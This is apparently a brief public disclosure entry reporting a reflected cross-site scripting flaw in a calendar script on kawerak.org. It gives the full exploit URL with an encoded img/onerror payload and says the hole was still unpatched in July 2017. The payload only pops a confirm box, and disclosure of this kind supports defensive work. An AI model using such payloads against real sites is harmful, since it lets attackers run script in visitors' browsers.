kawerak.org XSS vulnerability

Vulnerable URL: http://www.kawerak.org/cgi-bin/Calcium310.pl/Calendar/Calcium310.pl?CalendarName=%22%3E%3Cimg/src=%22%3E%22onerror=confirm%27XSSPOSED%27%3E=ShowIt=Month=Absolute=Block=9=8=Count=2016/12/1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017...